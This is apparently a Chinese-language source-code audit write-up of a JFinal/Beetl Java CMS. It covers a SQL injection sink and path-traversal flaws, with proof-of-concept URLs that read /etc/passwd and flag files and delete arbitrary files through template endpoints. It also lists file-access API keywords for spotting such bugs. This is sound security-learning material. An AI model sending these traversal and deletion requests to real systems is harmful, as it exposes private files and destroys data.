简介
框架使用的Jfinal,模板引擎使用的beetl
项目中的pom.xml记录了项目需要的依赖及其版本信息等,审计源码前,可以看看项目的给类依赖是否为存在漏洞的版本,如果有可以针对某个依赖的当前版本存在的漏洞进行验证。
SQL注入
存在的sql注入较多
1
jfinal 框架下的预处理为如下,使用占位符:
| 1
 | Long count = Db.queryLong("select count(1) from cms_admin where username = ?",username);
 | 
 
这里使用拼接方式进行数据查询,导致SQL注入:

网上追溯,找到source点:
找到在com/cms/controller/admin/AdminController.java#index()里,传入的name、username参数未做任何处理就被传递给findPage(),那么这里是存在SQL注入的。

测试:


直接用sqlmap跑:
| 1
 | http://localhost:8080/admin/admin?name=1
 | 
 

XSS
前台任意文件读取
网上已知这个漏洞的poc:/common/down/file?filekey=/../../../../../../../../../etc/passwd
我们根据poc去寻找一下,搜索/common/down

可以看到直接从前端获取文件参数,且没有进行过滤,可以使用../跨目录读取文件:

构造请求:
| 1
 | http://192.168.3.214:8080/common/down/file?fileKey=/../../../../../../../../../../../../../../../../../tmp/flag.txt
 | 
 

任意文件读取
可以搜索的关键字:
|  1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
 | org.apache.commons.io.FileUtils
org.springframework.stereotype.Controller
import java.nio.file.Files
import java.nio.file.Path
import java.nio.file.Paths
import java.util.Scanner
sun.nio.ch.FileChannelImpl
java.io.File.list/listFiles
java.io.FileInputStream
java.io.FileOutputStream
java.io.FileSystem/Win32FileSystem/WinNTFileSystem/UnixFileSystem
sun.nio.fs.UnixFileSystemProvider/WindowsFileSystemProvider
java.io.RandomAccessFile
sun.nio.fs.CopyFile
sun.nio.fs.UnixChannelFactory
sun.nio.fs.WindowsChannelFactory
java.nio.channels.AsynchronousFileChannel
FileUtil/IOUtil
BufferedReader
readAllBytes
scanner
 | 
 
漏洞点在后台:点击“编辑”的时候,响应会显示文件内容
这个漏洞点在com/cms/controller/admin/TemplateController.java中的edit方法:

如果目录directory为空的话,则默认就是要传入的文件名
|  1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
 | 	/**
	 * 编辑
	 */
	public void edit() {
		String fileName = getPara("fileName");
		String directory = getPara("directory");
		if (StringUtils.isBlank(fileName)) {    //filename不能为空
			render(CommonAttribute.ADMIN_ERROR_VIEW);
			return;
		}
		setAttr("directory", directory);
		setAttr("fileName", fileName);
		String filePath = "";
		if(StringUtils.isNotBlank(directory)){   // 目录directory为空和不为空是两种情况,如果目录不为空,则就是以那个目录开始寻找文件
			filePath = "/"+directory.replaceAll(",", "/")+"/"+fileName; //把逗号替换为/,拼接为完整的路径
		}else{
			filePath = "/"+fileName;  //如果目录directory为空的话,则默认就是要传入的文件名
		}
		setAttr("content", StringEscapeUtils.escapeHtml(TemplateUtils.read(filePath)));  //读取
		render(getView("template/edit"));
	}
 | 
 
Poc:
| 1
2
3
4
5
 | # directory为空
http://192.168.3.214:8080/admin/template/edit?fileName=../../../../../../../../../../../../../../../../../../tmp/flag.txt
# directory不为空
http://192.168.3.214:8080/admin/template/edit?fileName=../../../../../../../../../../../../../../../../../../tmp/flag.txt&directory=default,static
 | 
 


任意文件删除
都是admin/template接口中的,这个是delete
可以看到没有任何过滤,可以删除任意文件:


测试:
| 1
 | http://192.168.3.214:8080/admin/template/delete?fileName=../../../../../../../../../../../../../../../../../../tmp/flag.txt
 | 
 

同理,update也一样

同理,/admin/template/save也一样
任意文件读取
| 1
 | http://192.168.3.214:8080/ajax/html?html=../../../../../../../../../../../../../../../../../../tmp/flag.txt
 | 
 
目录穿越 直接渲染读取:

SSTI
待复现